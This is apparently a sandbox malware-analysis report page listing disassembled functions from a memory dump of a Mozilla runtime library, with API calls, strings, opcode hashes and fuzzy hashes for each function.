MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C3254A3
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C3254B9
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C3257AE
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C325717
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C32548D

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID: $me/$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$MOZ_RELEASE_ASSERT(mNode)$[I %d/%d] - MOZ_PROFILER_STARTUP is set
API String ID: 2801635615-784015941
Opcode ID: 8c812119680d6b4e3862b23773b313007fe0acd63b580c3cd471a2565233be4c
Instruction ID: d6d92ad31457803199b252d10bccd17692f1ebb974d0e7b75eb8c9dfa5d1a5a0
Opcode Fuzzy Hash: 8c812119680d6b4e3862b23773b313007fe0acd63b580c3cd471a2565233be4c
Instruction Fuzzy Hash: D94106317053118BDF18DF29C58072A77E9AF86728F28861CE9718BAD5DB3AD841CF91

Function 6C34FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C36D019,?,?,?,?,?,00000000,?,6C35DA31,00100000,?), ref: 6C34FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C36D019,?,?,?,?,?,00000000,?,6C35DA31,00100000,?,?), ref: 6C34FFF5
free.MOZGLUE(?,?,?,?,?,6C36D019,?,?,?,?,?,00000000,?,6C35DA31,00100000,?), ref: 6C35001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C36D019,?,?,?,?,?,00000000,?,6C35DA31,00100000,?,?), ref: 6C35002A

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 25f1003c61ab4ad20b8c194e1f1a42afa1d422012a530fe41cdb6c977b492463
Instruction ID: 2d2e2a82b145e2e1100226a48e32fef61f91001045b81d9b04c007c69858acf3
Opcode Fuzzy Hash: 25f1003c61ab4ad20b8c194e1f1a42afa1d422012a530fe41cdb6c977b492463
Instruction Fuzzy Hash: 742106B2E002115BC7089E78DC848AFB7FAEB893243294338E525D7780EB71AD118AD1

Function 6C382780 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00020000,?,?), ref: 6C3827DA
memset.VCRUNTIME140(00000000,000000FF,00020000,?,?,?,?,?), ref: 6C3827EC

Strings

$me/, xrefs: 6C38278D
Z'8l, xrefs: 6C3827B2

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: memset
String ID: $me/$Z'8l
API String ID: 2221118986-913904735
Opcode ID: ab82248139bcd25ba5476273e886cfe9b7fcfd979f74fd9593146a9b27b814fd
Instruction ID: e1b5e18e1f470724766a01fa276244f6cb56d46a13e2adcb55b647de53864a3b
Opcode Fuzzy Hash: ab82248139bcd25ba5476273e886cfe9b7fcfd979f74fd9593146a9b27b814fd
Instruction Fuzzy Hash: 5921F1B1A012059BCF04CE69ED84BDB3BA9EF48314F084039FD09AF346D33698548BE4

Function 6C32B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C32B4F5
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C32B502
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C32B542
free.MOZGLUE(?), ref: 6C32B578

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 56a60df2d370149e508d9f35f45e4e1dee68f024044f279d402fc28ecd96792f
Instruction ID: 416b16358e9ec317e3efe4bbbc565d6ace8ded64d00276efd704d8b867fb34e3
Opcode Fuzzy Hash: 56a60df2d370149e508d9f35f45e4e1dee68f024044f279d402fc28ecd96792f
Instruction Fuzzy Hash: C411D531904B45C7D7118F29D400765B3B9FFDA31DF20970AE88A5BA01FB7AB5D48B91

Function 6C353DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C31F20E,?), ref: 6C353DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C31F20E,00000000,?), ref: 6C353DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C353E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C353E0E

Part of subcall function 6C34CC00: GetCurrentProcess.KERNEL32(?,?,6C3131A7), ref: 6C34CC0D
Part of subcall function 6C34CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C3131A7), ref: 6C34CC16

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: a8b2481c80b978358408234117997e06ea3bfbb0fb1f9fe774c99a96ce92c123
Instruction ID: 56acc5fc64e739b3ab505f1c595a9b7377e1ad510ff3eb49c245b608258bae28
Opcode Fuzzy Hash: a8b2481c80b978358408234117997e06ea3bfbb0fb1f9fe774c99a96ce92c123
Instruction Fuzzy Hash: 8BF012716002087BDB01AF55EC41DAB376DDF46628F044020FD4957741E636BD298AF7

Function 6C3685B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C3685D3

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C368725

Strings

map/set<T> too long, xrefs: 6C368720

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 3b5f6a7b626853ba9550774f3c2df6944260bccade1f3a9f90e349da8c90cd3f
Instruction ID: ac26e8cfb588ab7ec1f2b39cf91b4ae89a08841ca1ca0fa3320506dedc4d3b5c
Opcode Fuzzy Hash: 3b5f6a7b626853ba9550774f3c2df6944260bccade1f3a9f90e349da8c90cd3f
Instruction Fuzzy Hash: 525164B4A00641CFD701CF1AC084A5AFBF1BF4A318F18C28AD9595BB56C376E885CF92

Function 6C355710 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

Part of subcall function 6C357090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C35B9F1,?), ref: 6C357107

Part of subcall function 6C34FA80: GetCurrentThreadId.KERNEL32 ref: 6C34FA8D
Part of subcall function 6C34FA80: AcquireSRWLockExclusive.KERNEL32(6C39F448), ref: 6C34FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C35EB71), ref: 6C3557AB

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

Strings

$me/, xrefs: 6C355720, 6C35589D
q5l, xrefs: 6C355860

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ExclusiveLock$CurrentProcessRelease$AcquireTerminateThread
String ID: $me/$q5l
API String ID: 2617131280-3370047951
Opcode ID: 0e2606bcc32f4e636026fc29d9a1c81a35724f3417a6cf393b712f1324ff36cb
Instruction ID: 21cbc73a3528b2b0fd92a37d7bf3868b30e134d6190b5358371a336fb1160185
Opcode Fuzzy Hash: 0e2606bcc32f4e636026fc29d9a1c81a35724f3417a6cf393b712f1324ff36cb
Instruction Fuzzy Hash: 20518E31E08B859BD704CF38C5816A6B3A4FF99218F14D619ED9D1B253EB30B9D8CB91

Function 6C372570 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,?), ref: 6C372655
__Init_thread_footer.LIBCMT ref: 6C3726BE

Strings

$me/, xrefs: 6C37257F

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Init_thread_footerfree
String ID: $me/
API String ID: 1226231535-2210144079
Opcode ID: db1925d4210dc91544aa085ab4f7c8e089cbf33d89bca1b6de6c877983c66266
Instruction ID: 9649e160edfbccc2796a0984f8ce93d5c4c17f76858f6b622ee8143d6576048f
Opcode Fuzzy Hash: db1925d4210dc91544aa085ab4f7c8e089cbf33d89bca1b6de6c877983c66266
Instruction Fuzzy Hash: F941CAB1A00308CFCB14CF58D58899ABBF5BF49314B18846ED8599BB11E732E945CFA6

Function 6C370DE0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111timeCOMMON

Download Yara Rule

APIs

Part of subcall function 6C34FA80: GetCurrentThreadId.KERNEL32 ref: 6C34FA8D
Part of subcall function 6C34FA80: AcquireSRWLockExclusive.KERNEL32(6C39F448), ref: 6C34FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C370EFC

Part of subcall function 6C361B80: GetCurrentThreadId.KERNEL32 ref: 6C361B98
Part of subcall function 6C361B80: AcquireSRWLockExclusive.KERNEL32(?,?,6C361D96,00000000), ref: 6C361BA1
Part of subcall function 6C361B80: ReleaseSRWLockExclusive.KERNEL32(?,?,6C361D96,00000000), ref: 6C361BB5

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C370E50

Part of subcall function 6C335B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C3356EE,?,00000001), ref: 6C335B85
Part of subcall function 6C335B50: EnterCriticalSection.KERNEL32(6C39F688,?,?,?,6C3356EE,?,00000001), ref: 6C335B90
Part of subcall function 6C335B50: LeaveCriticalSection.KERNEL32(6C39F688,?,?,?,6C3356EE,?,00000001), ref: 6C335BD8
Part of subcall function 6C335B50: GetTickCount64.KERNEL32 ref: 6C335BE4

Strings

$me/, xrefs: 6C370DF0

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ExclusiveLock$AcquireCriticalCurrentReleaseSectionThread$Count64CounterEnterLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_
String ID: $me/
API String ID: 2508600278-2210144079
Opcode ID: a309c5e3760c7211f88c41c0a90e18d710f2a281741ec05651ee97fd72b4ccda
Instruction ID: d513ed4b6634a1ad81268be2a310e0ab9fdf46caf13b87beb03edaff7afbf504
Opcode Fuzzy Hash: a309c5e3760c7211f88c41c0a90e18d710f2a281741ec05651ee97fd72b4ccda
Instruction Fuzzy Hash: 17419A75608B459FC718CF29C580A5AB7F5FF88318F40491DE88697B41DB76E808CFA2

Function 6C36C570 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

fgetpos.API-MS-WIN-CRT-STDIO-L1-1-0(?,?), ref: 6C36C605
_fseeki64.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,00000001), ref: 6C36C672

Strings

$me/, xrefs: 6C36C581

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: _fseeki64fgetpos
String ID: $me/
API String ID: 3401907645-2210144079
Opcode ID: c06e9d9a9d0aa941170960a30c8d8805f5d3eeb01e0022ad49829c7bb9454c73
Instruction ID: 30180b9ed46b7bba97303ac820b54dbf19f202653a74a0cb800f4c8f37190b3a
Opcode Fuzzy Hash: c06e9d9a9d0aa941170960a30c8d8805f5d3eeb01e0022ad49829c7bb9454c73
Instruction Fuzzy Hash: 9C415B716047059FCB14DF2AD85095ABBF5FF89318B048A2EE98A87B40E731F914CF91

Function 6C370480 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000080,?,?,?,?,?,?,?,?,?,?,?,?,6C37041E,?,6C3703C0), ref: 6C3704D8
InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C37041E), ref: 6C3704E3

Strings

$me/, xrefs: 6C370490

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc
String ID: $me/
API String ID: 1952960883-2210144079
Opcode ID: bee4c27e579446367c78716524f7f4be5183e190d4fbb7e6020bb0ebed2263d8
Instruction ID: 9b173e0053e76c00ea6bf526e2274daf74fe0c92f5edcfbda07140c2790ff69e
Opcode Fuzzy Hash: bee4c27e579446367c78716524f7f4be5183e190d4fbb7e6020bb0ebed2263d8
Instruction Fuzzy Hash: 8121D460D047848AE7409F3D98813A5B7F8BF99218F049659DD8896223FB71A5D8CB91

Function 6C361C60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,6C36759E,?,?), ref: 6C361CB4
free.MOZGLUE(?,?,?,?,?,?,6C36759E,?,?,?,?,?,?,?,?,?), ref: 6C361CE9

Strings

$me/, xrefs: 6C361C70

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_free
String ID: $me/
API String ID: 876075630-2210144079
Opcode ID: 4e0a6c40c8c7a3875d397be0f9f3c6aed3a043ad932738f937076e1cc641f008
Instruction ID: 28e8426c595c2b7bd7624af825dcc3b65185baf2c5445c6f987a03e57ec451b1
Opcode Fuzzy Hash: 4e0a6c40c8c7a3875d397be0f9f3c6aed3a043ad932738f937076e1cc641f008
Instruction Fuzzy Hash: 3211BF31900B058BC310DF2AC84069AB7F4BF8A718F00461DD99997B40EB72F458CB91

Function 6C361680 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 6C34FA80: GetCurrentThreadId.KERNEL32 ref: 6C34FA8D
Part of subcall function 6C34FA80: AcquireSRWLockExclusive.KERNEL32(6C39F448), ref: 6C34FA99

Part of subcall function 6C361700: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,6C3616CD), ref: 6C3617DC

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,6C354F39,?,?,?,?,6C3555F5,?), ref: 6C3616E6

Strings

$me/, xrefs: 6C361691
9O5l, xrefs: 6C36168E

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_
String ID: $me/$9O5l
API String ID: 1463952509-3967854695
Opcode ID: 1744d3d2697102d3d0f281687f57fa8b398e61d989ce65ad9cf1c20347dc7ae0
Instruction ID: 379cfeea1ac3967cb7c8a20b427a5cbfe8007336e4a133044b951cd14e271b0a
Opcode Fuzzy Hash: 1744d3d2697102d3d0f281687f57fa8b398e61d989ce65ad9cf1c20347dc7ae0
Instruction Fuzzy Hash: 781112B5A002089FCB10CFA9D884ADEBBF9FF49255F558026D845E7701E731D948CFA1

Function 6C360E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C360E16

Part of subcall function 6C34FA80: GetCurrentThreadId.KERNEL32 ref: 6C34FA8D
Part of subcall function 6C34FA80: AcquireSRWLockExclusive.KERNEL32(6C39F448), ref: 6C34FA99

ReleaseSRWLockExclusive.KERNEL32 ref: 6C360E45

Strings

$me/, xrefs: 6C360E0C

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ExclusiveLock$?profiler_get_core_buffer@baseprofiler@mozilla@@AcquireBuffer@2@ChunkedCurrentProfileReleaseThread
String ID: $me/
API String ID: 488134835-2210144079
Opcode ID: 5dab2a0cda9b5e5184021df9f8bc13055530299c006bc029849f39e709ead798
Instruction ID: 15ac707e8cadffefa3a31bcd2ee9b9bb6ab493f40b052c3f74325268200086be
Opcode Fuzzy Hash: 5dab2a0cda9b5e5184021df9f8bc13055530299c006bc029849f39e709ead798
Instruction Fuzzy Hash: AA1148B56083448FCB00DF69D44529FBBF4EF89218F54882DE88987700E7319858CFA7

Function 6C324730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C3244B2,6C39E21C,6C39F7F8), ref: 6C32473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C32474A

Strings

GetNtLoaderAPI, xrefs: 6C324744

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: bac2bef789e3f785ea82a2bc206c4ad0ea9690ce9f19e20dfc8454090449e675
Instruction ID: d510eefb44009bc8b908fe1274d0e412822d9e3890524ff9abc58d7042dd05b2
Opcode Fuzzy Hash: bac2bef789e3f785ea82a2bc206c4ad0ea9690ce9f19e20dfc8454090449e675
Instruction Fuzzy Hash: D50192757043148FDF00AFAA984865D7BBDFB8B315B040069EA16CB300EB76D8018F91

Function 6C376F80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE ref: 6C376FAA

Part of subcall function 6C376A10: InitializeCriticalSection.KERNEL32(6C39F618), ref: 6C376A68
Part of subcall function 6C376A10: GetCurrentProcess.KERNEL32 ref: 6C376A7D
Part of subcall function 6C376A10: GetCurrentProcess.KERNEL32 ref: 6C376AA1
Part of subcall function 6C376A10: EnterCriticalSection.KERNEL32(6C39F618), ref: 6C376AAE
Part of subcall function 6C376A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C376AE1
Part of subcall function 6C376A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C376B15
Part of subcall function 6C376A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C376B65
Part of subcall function 6C376A10: LeaveCriticalSection.KERNEL32(6C39F618,?,?), ref: 6C376B83

MozFormatCodeAddress.MOZGLUE ref: 6C376FF0

Strings

$me/, xrefs: 6C376F92

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave
String ID: $me/
API String ID: 1067246555-2210144079
Opcode ID: a51fa17be20a3c191ee49d774a805da01883143a4e9c9015865725da918e1255
Instruction ID: 1e4df219cd7958b045c647713054025a77edee48af7a8ab44329f728639e0e37
Opcode Fuzzy Hash: a51fa17be20a3c191ee49d774a805da01883143a4e9c9015865725da918e1255
Instruction Fuzzy Hash: FC11E6B59083098BCB18DF59D4945AEBBF4FF88304F00886EE88997350D7346A49CF92

Function 6C32BE40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43timeCOMMON

Download Yara Rule

APIs

QueryUnbiasedInterruptTime.KERNEL32 ref: 6C32BE64
__aulldiv.LIBCMT ref: 6C32BE86

Strings

$me/, xrefs: 6C32BE4D

Memory Dump Source

